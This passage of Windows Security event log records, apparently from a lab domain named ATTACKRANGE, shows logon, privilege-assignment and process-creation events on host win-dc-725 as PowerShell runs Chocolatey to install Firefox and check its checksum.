PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245920 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245919 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245946 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdbc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf9c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES542A.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC7129A8F8799A44D39D9AB6BDD47FC27D.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245945 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3DFC1 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245944 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3DFC1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245943 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245942 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245941 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf9c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe44 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\kf53lbph.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245947 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd74 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe44 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: powershell.exe - - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245951 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd00 - New Process Name: C:\Windows\System32\setx.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd74 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate "132590755597261036" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245950 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd68 - New Process Name: C:\Windows\System32\setx.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd74 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate "132590755593511041" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245949 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe3c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES69C6.tmp" "c:\Users\Administrator\AppData\Local\Temp\eonvpczh\CSC338F633159C148AB99DB81A9BCC23CDD.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245948 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd74 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\eonvpczh\eonvpczh.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245952 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd3c - New Process Name: C:\ProgramData\chocolatey\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd74 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\ProgramData\chocolatey\choco.exe" -v - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245954 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaf0 - New Process Name: C:\ProgramData\chocolatey\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf30 - Creator Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Process Command Line: "C:\ProgramData\Chocolatey\choco.exe" list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245953 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf30 - New Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe44 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: C:\ProgramData\Chocolatey\bin\choco.exe list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245957 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdb4 - New Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe44 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: C:\ProgramData\Chocolatey\bin\choco.exe install firefox --fail-on-unfound --yes --no-progress --limit-output --timeout 2700 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245956 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf84 - New Process Name: C:\ProgramData\chocolatey\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xef4 - Creator Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Process Command Line: "C:\ProgramData\Chocolatey\choco.exe" list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245955 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef4 - New Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe44 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: C:\ProgramData\Chocolatey\bin\choco.exe list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245958 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd7c - New Process Name: C:\ProgramData\chocolatey\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdb4 - Creator Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Process Command Line: "C:\ProgramData\Chocolatey\choco.exe" install firefox --fail-on-unfound --yes --no-progress --limit-output --timeout 2700 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245964 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xed4 - New Process Name: C:\ProgramData\chocolatey\tools\checksum.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd7c - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\Chocolatey\helpers\..\tools\checksum.exe" -c="ec4b9e440dd5ee42ef3635df29e4f99e0ab9db03a9aa12b86b6190ede9fc6c4718c76aa25c1d653bac86b1c5c6277b80d970e25a252297ab1784e4d67ab53cd3" -t="sha512" -f="C:\Users\Administrator\AppData\Local\Temp\chocolatey\Firefox\86.0\Firefox Setup 86.0.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245963 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x5BB34 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245962 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x5BB34 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe 